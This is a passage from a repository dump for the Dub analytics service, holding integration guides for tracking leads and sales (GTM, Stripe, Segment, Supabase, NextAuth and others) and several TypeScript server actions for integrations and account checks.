    "content": "Configure Google Tag Manager for sale tracking\n\nThe following steps assume that you've already installed the Dub Analytics script through GTM.\n\n## Step 1: Create a GTM Variable to read the dub_id Cookie\n\nTo read the `dub_id` cookie that Dub Analytics sets, you'll need to create a new **User-Defined Variable** in Google Tag Manager.\n\nIn your GTM workspace, navigate to the **Variables** section and click **New** to create a new variable.\n\nConfigure the variable with the following settings:\n\n- **Variable Type**: Select **1st Party Cookie**\n- **Cookie Name**: `dub_id`\n- **Variable Name**: Name it \"Dub ID Cookie\"\n\nClick **Save** to create the variable.\n\n## Step 2: Tracking sale events\n\nThere are two ways to track sale events with Google Tag Manager:\n\n- Order Confirmation Page Tracking (Recommended)\n- Checkout Form Tracking\n\n### Option 1: Order Confirmation Page Tracking (Recommended)\n\nThis method tracks sales when users land on an order confirmation or success page after completing a purchase. This approach is more reliable as it's less likely to be blocked by ad blockers and provides better data accuracy.\n\nCreate a **Custom HTML** tag with the following code:\n\n```html\n<script>\n  (function () {\n    // Get query parameters from URL\n    var params = new URLSearchParams(window.location.search);\n    var customerId = params.get(\"customer_id\");\n    var amount = params.get(\"amount\");\n    var invoiceId = params.get(\"invoice_id\");\n\n    // Get dub_id from cookie using GTM variable\n    var clickId = {{Dub ID Cookie}} || \"\";\n\n    // Only track the sale event if customer ID, amount, and clickId are present\n    if (customerId && amount && clickId) {\n      dubAnalytics.trackSale({\n        eventName: \"Purchase\",\n        customerExternalId: customerId,\n        amount: parseInt(amount), // Amount in cents\n        invoiceId: invoiceId || undefined,\n        currency: \"usd\", // Customize as needed\n        paymentProcessor: \"stripe\", // Customize as needed\n        clickId: clickId,\n      });\n    }\n  })();\n</script>\n```\n\n> **Important**: Make sure to pass along the `customer_id` and `amount` query parameters to the order confirmation page so that the sale event can be attributed to the correct customer and purchase.\n\nConfigure this tag to fire on specific pages by creating a **Page View** trigger with conditions:\n\n- Trigger Type: **Page View**\n- This trigger fires on: **Some Page Views**\n- Add conditions like:\n  - **Page URL** contains `/order-confirmation`\n  - Or **Page Path** equals `/checkout/success`\n  - Or whatever URL pattern matches your order confirmation pages\n\nName this tag \"Dub Sales Tracking - Order Confirmation\" and save it.\n\n### Option 2: Checkout Form Tracking\n\nThis method tracks sales immediately when users complete checkout forms on your website. Note that this approach may be less reliable due to ad blockers and timing issues.\n\nCreate a **Custom HTML** tag with the following code:\n\n```html\n<script>\n  (function () {\n    // Get checkout data - customize these selectors based on your form\n    var customerId = document.getElementById(\"customer_id\")\n      ? document.getElementById(\"customer_id\").value\n      : \"\";\n    var amount = document.getElementById(\"amount\")\n      ? document.getElementById(\"amount\").value\n      : \"\";\n    var invoiceId = document.getElementById(\"invoice_id\")\n      ? document.getElementById(\"invoice_id\").value\n      : \"\";\n\n    // Get dub_id from cookie using GTM variable\n    var clickId = {{Dub ID Cookie}} || \"\";\n\n    // Only track the sale event if customer ID, amount, and clickId are present\n    if (customerId && amount && clickId) {\n      dubAnalytics.trackSale({\n        eventName: \"Purchase\",\n        customerExternalId: customerId,\n        amount: parseInt(amount), // Amount in cents\n        invoiceId: invoiceId || undefined,\n        currency: \"usd\", // Customize as needed\n        paymentProcessor: \"stripe\", // Customize as needed\n        clickId: clickId,\n      });\n    }\n  })();\n</script>\n```\n\n> **Important**: You'll need to customize the DOM selectors\n> (`getElementById('customer_id')`, `getElementById('amount')`, etc.) to match your actual\n> form field IDs or use different methods to capture the checkout data based on your\n> website's structure.\n\nConfigure this tag to fire on **Form Submission** by creating a new trigger:\n\n- Trigger Type: **Form Submission**\n- This trigger fires on: **Some Forms** (or **All Forms** if you want to track all form submissions)\n- Add conditions to specify which forms should trigger sales tracking (e.g., checkout forms)\n\nName this tag \"Dub Sales Tracking - Checkout Form\" and save it.\n\n## Testing your setup\n\nTo test your GTM setup, you can use the **Preview** mode in Google Tag Manager:\n\n1. **Enable Preview Mode**: In your GTM workspace, click the **Preview** button in the top right corner\n2. **Enter your website URL** and click **Connect**\n3. **Test your chosen tracking method**:\n   - **For Option 1 (Order Confirmation Page)**: Navigate to your order confirmation page with query parameters (e.g., `?customer_id=123&amount=5000&invoice_id=inv_123`)\n   - **For Option 2 (Checkout Form)**: Navigate to a page with a checkout form and complete a test purchase\n4. **Check the GTM debugger** to see if your tags are firing correctly\n\n### Verify sales tracking\n\nYou can also verify that sales are being tracked by:\n\n1. **Checking your browser's developer console** for any JavaScript errors\n2. **Using the Network tab** to see if requests are being sent to Dub's analytics endpoint\n3. **Viewing your Dub dashboard** to confirm that sale events are appearing in your analytics\n\n### Common troubleshooting tips\n\n- **Tag not firing**: Check that your triggers are configured correctly and that the conditions match your page structure\n- **Missing publishable key**: Ensure you've replaced the placeholder with your actual publishable key\n- **Missing query parameters** (Option 1): Ensure your checkout redirects to the order confirmation page with the required query parameters\n- **Form data not captured** (Option 2): Verify that your DOM selectors match your actual form field IDs or names\n"
  },
  {
    "path": "apps/web/guides/manual-client-sdk.md",
    "content": "You can add the Dub client-side script to your website same way you would add Google Analytics script or any other JavaScript code – by adding it in the `<head>` section of your HTML file.\n\n<!-- prettier-ignore -->\n```html\n<script \n  defer\n  src=\"https://www.dubcdn.com/analytics/script.js\" \n></script>\n```\n"
  },
  {
    "path": "apps/web/guides/manual-track-lead.md",
    "content": "You can also use Dub's [server-side SDKs](https://dub.co/docs/sdks/overview) or [REST API](https://dub.co/docs/api-reference/introduction) to track a lead event manually.\n\nThe example below demonstrates how to track a lead using the [Dub TypeScript SDK](https://dub.co/docs/sdks/typescript) in Node.js.\n\n```typescript\nimport { Dub } from \"dub\";\n\nconst dub = new Dub({\n  // optional, defaults to the DUB_API_KEY environment variable\n  token: process.env.DUB_API_KEY,\n});\n\nawait dub.track.lead({\n  clickId: \"rLnWe1uz9t282v7g\",\n  eventName: \"Sign up\",\n  customerExternalId: \"cus_oFUYbZYqHFR0knk0MjsMC6b0\",\n  customerName: \"John Doe\",\n  customerEmail: \"john.doe@example.com\",\n  customerAvatar: \"https://example.com/avatar.png\",\n});\n```\n\nIf you want to use the REST API instead, you can refer to the following example:\n\n```javascript\nconst response = await fetch(\"https://api.dub.co/track/lead\", {\n  method: \"POST\",\n  headers: {\n    Authorization: \"Bearer dub_xxxxxx\",\n    \"Content-Type\": \"application/json\",\n  },\n  body: JSON.stringify({\n    clickId: \"rLnWe1uz9t282v7g\",\n    eventName: \"Sign up\",\n    customerExternalId: \"cus_oFUYbZYqHFR0knk0MjsMC6b0\",\n    customerName: \"John Doe\",\n    customerEmail: \"john.doe@example.com\",\n    customerAvatar: \"https://example.com/avatar.png\",\n  }),\n});\n\nconst data = await response.json();\n```\n\nMake sure to include your API key in the Authorization header and pass the relevant lead data in the request body as JSON.\n\n---\n\nRefer to the [track lead API reference](https://dub.co/docs/api-reference/endpoint/track-lead) for details on available parameters and response formats.\n\nDub also supports server-side SDKs for other languages, including:\n\n- [Python](https://dub.co/docs/sdks/python)\n- [PHP](https://dub.co/docs/sdks/php)\n- [Ruby](https://dub.co/docs/sdks/ruby)\n- [Go](https://dub.co/docs/sdks/go)\n"
  },
  {
    "path": "apps/web/guides/manual-track-sale.md",
    "content": "You can also use Dub's [server-side SDKs](https://dub.co/docs/sdks/overview) or [REST API](https://dub.co/docs/api-reference/introduction) to track a sale event manually.\n\nThe example below demonstrates how to track a sale using the [Dub TypeScript SDK](https://dub.co/docs/sdks/typescript) in Node.js.\n\n```typescript\nimport { Dub } from \"dub\";\n\nconst dub = new Dub({\n  // optional, defaults to the DUB_API_KEY environment variable\n  token: process.env.DUB_API_KEY,\n});\n\nawait dub.track.sale({\n  customerExternalId: \"cus_oFUYbZYqHFR0knk0MjsMC6b0\",\n  amount: 3000, // sale amount in cents\n  currency: \"usd\",\n  paymentProcessor: \"stripe\",\n  eventName: \"Invoice paid\",\n  invoiceId: \"INV_1234567890\",\n});\n```\n\nIf you want to use the REST API instead, you can refer to the following example:\n\n```javascript\nconst response = await fetch(\"https://api.dub.co/track/sale\", {\n  method: \"POST\",\n  headers: {\n    Authorization: \"Bearer dub_xxxxxx\",\n    \"Content-Type\": \"application/json\",\n  },\n  body: JSON.stringify({\n    customerExternalId: \"cus_oFUYbZYqHFR0knk0MjsMC6b0\",\n    amount: 3000, // sale amount in cents\n    paymentProcessor: \"stripe\",\n    eventName: \"Invoice paid\",\n    invoiceId: \"INV_1234567890\",\n    currency: \"usd\",\n  }),\n});\n\nconst data = await response.json();\n```\n\nMake sure to include your API key in the Authorization header and pass the relevant sale data in the request body as JSON.\n\n---\n\nRefer to the [track sale API reference](https://dub.co/docs/api-reference/endpoint/track-sale) for details on available parameters and response formats.\n\nDub also supports server-side SDKs for other languages, including:\n\n- [Python](https://dub.co/docs/sdks/python)\n- [PHP](https://dub.co/docs/sdks/php)\n- [Ruby](https://dub.co/docs/sdks/ruby)\n- [Go](https://dub.co/docs/sdks/go)\n"
  },
  {
    "path": "apps/web/guides/next-auth.md",
    "content": "Configure NextAuth to track lead conversion events when a new user signs up.\n\n1. Use NextAuth's [`signIn` event](https://next-auth.js.org/configuration/events#signin) to detect when there's a new sign up.\n2. If the user is a new sign up, check if the `dub_id` cookie is present.\n3. If the `dub_id` cookie is present, send a lead event to Dub using `dub.track.lead`\n4. Delete the `dub_id` cookie.\n\nUnder the hood, Dub records the user as a customer and associates them with the click event that they came from. The user's unique ID is now the source of truth for all future events – hence why we don't need the `dub_id` cookie anymore.\n\n```javascript\n// app/api/auth/[...nextauth]/options.ts\nimport type { NextAuthOptions } from \"next-auth\";\nimport { cookies } from \"next/headers\";\nimport { dub } from \"@/lib/dub\";\n\nexport const authOptions: NextAuthOptions = {\n  ...otherAuthOptions, // your other NextAuth options\n  events: {\n    async signIn(message) {\n      // if it's a new sign up\n      if (message.isNewUser) {\n        // check if dub_id cookie is present\n        const dub_id = cookies().get(\"dub_id\")?.value;\n\n        if (dub_id) {\n          // send lead event to Dub\n          await dub.track.lead({\n            clickId: dub_id,\n            eventName: \"Sign Up\",\n            customerExternalId: user.id,\n            customerName: user.name,\n            customerEmail: user.email,\n            customerAvatar: user.image,\n          });\n\n          // delete the dub_id cookie\n          cookies().set(\"dub_id\", \"\", {\n            expires: new Date(0),\n          });\n        }\n      }\n    },\n  },\n};\n```\n"
  },
  {
    "path": "apps/web/guides/react.md",
    "content": "This quick start guide will show you how to get started with Dub on your React website.\n\n### Step 1: Install package\n\nUsing the package manager of your choice, add the `@dub/analytics` package to your project.\n\n```bash\nnpm install @dub/analytics\n```\n\n### Step 2: Initialize package in your code\n\nIf you are using a React framework, you can use the `<Analytics />` component to track conversions on your website.\n\nE.g. if you're using Next.js, you can add the `<Analytics />` component to your root layout component or any other pages where you want to track conversions.\n\n```jsx\nimport { Analytics as DubAnalytics } from '@dub/analytics/react';\n\nexport default function RootLayout({\n  children,\n}: Readonly<{\n  children: React.ReactNode;\n}>) {\n  return (\n    <html lang=\"en\">\n      <body>{children}</body>\n      <DubAnalytics />\n    </html>\n  );\n}\n```\n"
  },
  {
    "path": "apps/web/guides/rest-api.md",
    "content": "Dub's API is built on REST principles and is served over HTTPS. To ensure data privacy, unencrypted HTTP is not supported.\n\nThe Base URL for all API endpoints is:\n\n```bash\nhttps://api.dub.co\n```\n\n## Authentication\n\nAuthentication to Dub's API is performed via the Authorization header with a Bearer token. To authenticate, you need to include the Authorization header with the word `Bearer` followed by your API key in your requests like so:\n\n```bash\nAuthorization: Bearer dub_xxxxxx\n```\n\nHere are examples of how to make a request to Dub's API using Node.js:\n\n```javascript\nconst response = await fetch(\"https://api.dub.co/links\", {\n  method: \"GET\",\n  headers: {\n    Authorization: \"Bearer dub_xxxxxx\",\n  },\n});\n\nconst data = await response.json();\n```\n"
  },
  {
    "path": "apps/web/guides/segment-track-lead.md",
    "content": "Configuring Segment to track lead events when a new user signs up.\n\n## Step 1: Add Dub (Actions) destination\n\nHead to [Segment Dub (Actions)](https://app.segment.com/goto-my-workspace/destinations/catalog/actions-dub) and add the destination to your Segment workspace.\n\n![Segment Dub (Actions) destination](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/segment/segment-actions.png)\n\n## Step 2: Configure Dub API Key\n\nIn the Dub (Actions) destination settings, fill out the following fields:\n\n- **Name:** Enter a name to help you identify this destination in Segment.\n- **API Key:** Enter your Dub API key. You can find this in the [Dub Dashboard](https://app.dub.co/settings/tokens).\n- **Enable Destination:** Toggle this on to allow Segment to send data to Dub.\n\nOnce completed, click **Save Changes**.\n\n![Segment Dub (Actions) Basic Settings](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/segment/segment-basic-settings.png)\n\n## Step 3: Add Mapping\n\nNext, you’ll choose the **Track a lead** action from the list of available actions.\n\nBy default, this action is configured to send lead data to Dub when the **Event Name** is **Sign Up**.\n\n![Segment Dub (Actions) Mapping](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/segment/segment-track-lead-action.png)\n\nBelow the selected action, you’ll see the mapping for that action.\n\n![Segment Dub (Actions) Mapping](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/segment/segment-track-lead-mapping.png)\n\nYou can customize the trigger and mapping to fit the specific needs of your application.\n\nFinally, click **Next** and then **Save and enable** to add the mapping to the destination.\n\n## Step 4: Send lead events to Dub\n\nOn the server side, you’ll use the `@segment/analytics-node` SDK to send lead events to Segment.\n\nMake sure to include relevant user traits such as `name`, `email`, and `clickId` in the payload.\n\nYou’ll also need to ensure that the `clickId` field is properly mapped in your Segment Actions destination so that it’s forwarded correctly to Dub.\n\n```javascript\nimport { Analytics } from \"@segment/analytics-node\";\n\nconst segment = new Analytics({\n  writeKey: \"<YOUR_SEGMENT_WRITE_KEY>\",\n});\n\nconst cookieStore = await cookies();\nconst clickId = cookieStore.get(\"dub_id\")?.value;\n\nsegment.track({\n  userId: id,\n  event: \"Sign Up\",\n  context: {\n    traits: {\n      name,\n      email,\n      avatar,\n      clickId,\n    },\n  },\n  integrations: {\n    All: true,\n  },\n});\n```\n\nOnce the event is tracked, Segment will forward the lead data to Dub based on the mappings you’ve configured.\n"
  },
  {
    "path": "apps/web/guides/segment-track-sale.md",
    "content": "Configuring Segment to track sale events when a user purchases your product or service.\n\nIf you’ve already set up the Dub (Actions) destination, you can skip the first two steps and jump straight to the **Add Mapping** section.\n\n## Step 1: Add Dub (Actions) destination\n\nHead to [Segment Dub (Actions)](https://app.segment.com/goto-my-workspace/destinations/catalog/actions-dub) and add the destination to your Segment workspace.\n\n![Segment Dub (Actions) destination](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/segment/segment-actions.png)\n\n## Step 2: Configure Dub API Key\n\nIn the Dub (Actions) destination settings, fill out the following fields:\n\n- **Name:** Enter a name to help you identify this destination in Segment.\n- **API Key:** Enter your Dub API key. You can find this in the [Dub Dashboard](https://app.dub.co/settings/tokens).\n- **Enable Destination:** Toggle this on to allow Segment to send data to Dub.\n\nOnce completed, click **Save Changes**.\n\n![Segment Dub (Actions) Basic Settings](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/segment/segment-basic-settings.png)\n\n## Step 3: Add Mapping\n\nNext, you’ll choose the **Track a sale** action from the list of available actions.\n\nBy default, this action is configured to send sale data to Dub when the **Event Name** is **Order Completed**.\n\n![Segment Dub (Actions) Mapping](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/segment/segment-track-sale-action.png)\n\nBelow the selected action, you’ll see the mapping for that action.\n\n![Segment Dub (Actions) Mapping](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/segment/segment-track-sale-mapping.png)\n\nYou can customize the trigger and mapping to fit the specific needs of your application.\n\nFinally, click **Next** and then **Save and enable** to add the mapping to the destination.\n\n## Step 4: Send sale events to Dub\n\nOn the server side, you’ll use the `@segment/analytics-node` SDK to send sale events to Segment.\n\nMake sure to include relevant properties such as `userId`, `payment_processor`, `order_id`, `currency`, and `revenue` in the payload.\n\n```javascript\nimport { Analytics } from \"@segment/analytics-node\";\n\nconst segment = new Analytics({\n  writeKey: \"<YOUR_SEGMENT_WRITE_KEY>\",\n});\n\nsegment.track({\n  userId: id,\n  event: \"Order Completed\",\n  properties: {\n    payment_processor: \"stripe\",\n    order_id: \"ORD_123\",\n    currency: \"USD\",\n    revenue: 1000,\n  },\n  integrations: {\n    All: true,\n  },\n});\n```\n\nOnce the event is tracked, Segment will forward the sale data to Dub based on the mappings you’ve configured.\n"
  },
  {
    "path": "apps/web/guides/shopify.md",
    "content": "You can add the Dub client-side script to your Shopify store simply by installing the [Dub Shopify App](https://d.to/shopify/app) from the App Store.\n\n![The connection status in the Dub Conversions app](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/shopify/shopify-app.png)\n\nThen, make sure to activate the script by following these steps:\n\n1. Navigate to your Shopify admin panel.\n2. Go to **Online Store** > **Themes**.\n3. Click on **Customize** for your current theme.\n4. In the theme editor, select the **App embeds** tab.\n5. Locate the **Analytics Script** for the Dub Conversions app and toggle it to activate.\n\n![Enable the Dub client-side script in your Shopify theme](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/shopify/shopify-enable-tracking-script.png)\n\n### Installation video\n\nHere's a video showing how to install and activate the Dub client-side script in your Shopify store:\n\n[Watch the installation video](https://www.loom.com/embed/936970b8db5b41488657fa92ffec384a?sid=04030975-6d7e-4126-8487-a1d9a3095efc)\n"
  },
  {
    "path": "apps/web/guides/stripe-checkout.md",
    "content": "If you have a custom checkout flow that uses Stripe's `checkout.sessions.create` API, you'd want to associate the [Stripe customer object](https://docs.stripe.com/api/customers/object) with the user's unique ID in your database.\n\nThis will allow Dub to automatically listen for purchase events from Stripe and associate them with the original click event (and by extension, the link that the user came from).\n\nUnder the hood, Dub records the user as a customer and associates them with the click event that they came from.\n\nThen, when the user makes a purchase, Dub will automatically associate the checkout session details (invoice amount, currency, etc.) with the customer – and by extension, the original click event.\n\nThen, when you [create a checkout session](https://docs.stripe.com/api/checkout/sessions/create), pass your customer's unique user ID in your database as the `dubCustomerExternalId` value in the `metadata` field.\n\n```javascript\nimport { stripe } from \"@/lib/stripe\";\n\nconst user = {\n  id: \"user_123\",\n  email: \"user@example.com\",\n  teamId: \"team_xxxxxxxxx\",\n};\n\nconst priceId = \"price_xxxxxxxxx\";\n\nconst stripeSession = await stripe.checkout.sessions.create({\n  customer_email: user.email,\n  success_url: \"https://app.domain.com/success\",\n  line_items: [{ price: priceId, quantity: 1 }],\n  mode: \"subscription\",\n  client_reference_id: user.teamId,\n  metadata: {\n    dubCustomerExternalId: user.id, // the unique user ID of the customer in your database\n  },\n});\n```\n\nThis way, when the customer completes their checkout session, Dub will automatically associate the checkout session details (invoice amount, currency, etc.) with the customer – and by extension, the original click event.\n"
  },
  {
    "path": "apps/web/guides/stripe-customers.md",
    "content": "Alternatively, if you don't use Stripe's checkout session creation flow, you can also pass the user ID and the click event ID (`dub_id`) in the [Stripe customer creation flow](https://docs.stripe.com/api/customers/create).\n\nWhen you [create a Stripe customer](https://docs.stripe.com/api/customers/create), pass the user's unique user ID in your database as the `dubCustomerExternalId` value in the `metadata` field.\n\n```javascript\nimport { stripe } from \"@/lib/stripe\";\n\nconst user = {\n  id: \"user_123\",\n  email: \"user@example.com\",\n  teamId: \"team_xxxxxxxxx\",\n};\n\nconst dub_id = req.headers.get(\"dub_id\");\n\nawait stripe.customers.create({\n  email: user.email,\n  name: user.name,\n  metadata: {\n    dubCustomerExternalId: user.id,\n    dubClickId: dub_id,\n  },\n});\n```\n\nAlternatively, you can also pass the `dubCustomerExternalId` and `dubClickId` values in the `metadata` field of the [Stripe customer update flow](https://docs.stripe.com/api/customers/update):\n\n```javascript\nimport { stripe } from \"@/lib/stripe\";\n\nconst user = {\n  id: \"user_123\",\n  email: \"user@example.com\",\n  teamId: \"team_xxxxxxxxx\",\n};\n\nconst dub_id = req.headers.get(\"dub_id\");\n\nawait stripe.customers.update(user.id, {\n  metadata: {\n    dubCustomerExternalId: user.id,\n    dubClickId: dub_id,\n  },\n});\n```\n\nThis way, when the customer makes a purchase, Dub will automatically associate the purchase details (invoice amount, currency, etc.) with the original click event.\n"
  },
  {
    "path": "apps/web/guides/stripe-payment-links.md",
    "content": "If you're using [Stripe Payment Links](https://docs.stripe.com/payment-links), simply add a `?dub_client_reference_id=1` query parameter to your Stripe Payment Link when shortening it on Dub.\n\nThen, when a user clicks on the shortened link, Dub will automatically append the unique click ID as the `client_reference_id` [query parameter](https://docs.stripe.com/payment-links/url-parameters) to the payment link.\n\n![Stripe payment link with Dub click ID](https://assets.dub.co/cms/conversions-payment-links.jpg)\n\nFinally, when the user completes the checkout flow, Dub will automatically track the sale event and update the customer's `externalId` with their Stripe customer ID for future reference.\n\nAlternatively, if you have a marketing site that you're redirecting your users to first, you can do this instead:\n\n1. [Install the @dub/analytics client-side SDK](https://dub.co/docs/sdks/client-side/introduction), which automatically detects the `dub_id` in the URL and stores it as a first-party cookie on your site.\n2. Then, retrieve and append the `dub_id` value as the `client_reference_id` parameter to the payment links on your pricing page / CTA button (prefixed with `dub_id_`).\n\n```javascript\nhttps://buy.stripe.com/xxxxxx?client_reference_id=dub_id_xxxxxxxxxxxxxx\n```\n\n## What if I'm using Stripe Pricing Tables?\n\nIf you're using [Stripe Pricing Tables](https://docs.stripe.com/payments/checkout/pricing-table) – you'd want to pass the Dub click ID as a [`client-reference-id` attribute](https://docs.stripe.com/payments/checkout/pricing-table#handle-fulfillment-with-the-stripe-api) instead:\n\n```html\n<body>\n  <h1>We offer plans that help any business!</h1>\n  <!-- Paste your embed code script here. -->\n  <script async src=\"https://js.stripe.com/v3/pricing-table.js\"></script>\n  <stripe-pricing-table\n    pricing-table-id=\"{{PRICING_TABLE_ID}}\"\n    publishable-key=\"pk_test_51ODHJvFacAXKeDpJsgWLQJSzBIDtCUFN6MoB4IIXKJDfWdFmiEO4JuvAU1A0Y2Ri4m4q1egIfwYy3s72cUBRCwXC00GQhEZuXa\"\n    client-reference-id=\"dub_id_xxxxxxxxxxxxxx\"\n  >\n  </stripe-pricing-table>\n</body>\n```\n"
  },
  {
    "path": "apps/web/guides/supabase.md",
    "content": "Configure Supabase to track lead conversion events in the auth callback function.\n\nHere's how it works in a nutshell:\n\n1. In the `/api/auth/callback` route, check if:\n   - the `dub_id` cookie is present.\n   - the user is a new sign up (created in the last 10 minutes).\n2. If the `dub_id` cookie is present and the user is a new sign up, send a lead event to Dub using `dub.track.lead`\n3. Delete the `dub_id` cookie.\n\n```javascript\n// app/api/auth/callback/route.ts\nimport { dub } from \"@/lib/dub\";\nimport { createClient } from \"@/lib/supabase/server\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { cookies } from \"next/headers\";\nimport { NextResponse } from \"next/server\";\n\nexport async function GET(request: Request) {\n  const { searchParams, origin } = new URL(request.url);\n  const code = searchParams.get(\"code\");\n  // if \"next\" is in param, use it as the redirect URL\n  const next = searchParams.get(\"next\") ?? \"/\";\n\n  if (code) {\n    const supabase = createClient(cookies());\n    const { data, error } = await supabase.auth.exchangeCodeForSession(code);\n\n    if (!error) {\n      const { user } = data;\n      const dub_id = cookies().get(\"dub_id\")?.value;\n      // if the user is created in the last 10 minutes, consider them new\n      const isNewUser =\n        new Date(user.created_at) > new Date(Date.now() - 10 * 60 * 1000);\n      // if the user is new and has a dub_id cookie, track the lead\n\n      if (dub_id && isNewUser) {\n        waitUntil(\n          dub.track.lead({\n            clickId: dub_id,\n            eventName: \"Sign Up\",\n            customerExternalId: user.id,\n            customerName: user.user_metadata.name,\n            customerEmail: user.email,\n            customerAvatar: user.user_metadata.avatar_url,\n          }),\n        );\n\n        // delete the clickId cookie\n        cookies().delete(\"dub_id\");\n      }\n\n      return NextResponse.redirect(`${origin}${next}`);\n    }\n  }\n\n  // return the user to an error page with instructions\n  return NextResponse.redirect(`${origin}/auth/auth-code-error`);\n}\n```\n"
  },
  {
    "path": "apps/web/guides/webflow.md",
    "content": "Follow these steps to add Dub client-side script to your Webflow site:\n\n- On your project's page, click on the **Webflow logo** in the left-hand side menu and choose **Project Settings**.\n- Choose **[Custom Code](https://university.webflow.com/lesson/custom-code-in-the-head-and-body-tags?topics=site-settings)** from the menu and paste the Dub analytics script in the **Head Code** section.\n- Click on the **Save Changes** button and then **Publish** your changes.\n\n<!-- prettier-ignore -->\n```html\n<script\n  defer\n  src=\"https://www.dubcdn.com/analytics/script.js\"\n></script>\n```\n"
  },
  {
    "path": "apps/web/guides/wordpress.md",
    "content": "Follow these steps to add the Dub client-side script to your WordPress site:\n\n- On your WordPress dashboard, navigate to the **Theme Editor** section under the **Appearance** menu.\n- Open the **Theme Header (header.php)** file on the right column.\n- Paste the Dub analytics script in the header area.\n- Click on the **Update File** button to save the changes.\n\n<!-- prettier-ignore -->\n```html\n<script\n  defer\n  src=\"https://www.dubcdn.com/analytics/script.js\"\n></script>\n```\n"
  },
  {
    "path": "apps/web/instrumentation.ts",
    "content": "import { logger } from \"@/lib/axiom/server\";\nimport { createOnRequestError } from \"@axiomhq/nextjs\";\n\nexport const onRequestError = createOnRequestError(logger);\n"
  },
  {
    "path": "apps/web/lib/actions/add-edit-integration.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport { DUB_WORKSPACE_ID, nanoid, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { createId } from \"../api/create-id\";\nimport { deleteScreenshots } from \"../integrations/utils\";\nimport { isStored, storage } from \"../storage\";\nimport { createIntegrationSchema } from \"../zod/schemas/integration\";\nimport { authActionClient } from \"./safe-action\";\nimport { throwIfNoPermission } from \"./throw-if-no-permission\";\n\nexport const addEditIntegration = authActionClient\n  .inputSchema(\n    createIntegrationSchema.extend({\n      id: z.string().optional(), // if id is provided, we are editing the integration\n      workspaceId: z.string(),\n    }),\n  )\n  .action(async ({ parsedInput, ctx }) => {\n    const { id, workspaceId, ...integration } = parsedInput;\n    const { workspace } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"oauth_apps.write\"],\n    });\n\n    // this is only available for Dub workspace for now\n    // we might open this up to other workspaces in the future\n    if (workspaceId !== DUB_WORKSPACE_ID) {\n      throw new Error(\"Not authorized\");\n    }\n\n    const newIntegrationId = createId({ prefix: \"int_\" });\n\n    if (integration.logo && !isStored(integration.logo)) {\n      const result = await storage.upload({\n        key: `integrations/${id || newIntegrationId}_${nanoid(7)}`,\n        body: integration.logo,\n      });\n      integration.logo = result.url;\n    }\n\n    if (id) {\n      const oldIntegration = await prisma.integration.findUniqueOrThrow({\n        where: { id },\n      });\n\n      await prisma.integration.update({\n        where: { id },\n        data: integration,\n      });\n\n      waitUntil(\n        (async () => {\n          if (\n            oldIntegration.logo &&\n            integration.logo !== oldIntegration.logo &&\n            oldIntegration.logo.startsWith(`${R2_URL}/integrations/${id}`)\n          ) {\n            await storage.delete({\n              key: oldIntegration.logo.replace(`${R2_URL}/`, \"\"),\n            });\n          }\n\n          const removedScreenshots =\n            oldIntegration.screenshots &&\n            Array.isArray(oldIntegration.screenshots)\n              ? oldIntegration.screenshots.filter(\n                  (s) =>\n                    typeof s === \"string\" &&\n                    !integration.screenshots.includes(s),\n                )\n              : [];\n\n          if (removedScreenshots.length > 0) {\n            await deleteScreenshots(removedScreenshots);\n          }\n        })(),\n      );\n    } else {\n      await prisma.integration.create({\n        data: {\n          ...integration,\n          id: newIntegrationId,\n          projectId: workspaceId,\n          userId: ctx.user.id,\n        },\n      });\n    }\n    return { ok: true };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/auth/throw-if-authenticated.ts",
    "content": "import { getSession } from \"@/lib/auth\";\n\nexport const throwIfAuthenticated = async ({ next, ctx }) => {\n  const session = await getSession();\n\n  if (session) {\n    throw new Error(\"You are already logged in.\");\n  }\n\n  return next({ ctx });\n};\n"
  },
  {
    "path": "apps/web/lib/actions/check-account-exists.ts",
    "content": "\"use server\";\n\nimport { getIP } from \"@/lib/api/utils/get-ip\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { skipAuthThrottling } from \"../api/environment\";\nimport { isSamlEnforcedForEmailDomain } from \"../api/workspaces/is-saml-enforced-for-email-domain\";\nimport { emailSchema } from \"../zod/schemas/auth\";\nimport { throwIfAuthenticated } from \"./auth/throw-if-authenticated\";\nimport { actionClient } from \"./safe-action\";\n\nconst schema = z.object({\n  email: emailSchema,\n});\n\n// Check if account exists\nexport const checkAccountExistsAction = actionClient\n  .inputSchema(schema)\n  .use(throwIfAuthenticated)\n  .action(async ({ parsedInput }) => {\n    const { email } = parsedInput;\n\n    if (!skipAuthThrottling) {\n      const { success } = await ratelimit(8, \"1 m\").limit(\n        `account-exists:${await getIP()}`,\n      );\n\n      if (!success) {\n        throw new Error(\"Too many requests. Please try again later.\");\n      }\n    }\n\n    const [user, isSamlEnforced] = await Promise.all([\n      prisma.user.findUnique({\n        where: {\n          email,\n        },\n        select: {\n          passwordHash: true,\n        },\n      }),\n\n      isSamlEnforcedForEmailDomain(email),\n    ]);\n\n    return {\n      accountExists: !!user,\n      hasPassword: !!user?.passwordHash,\n      requireSAML: isSamlEnforced,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/create-oauth-url.ts",
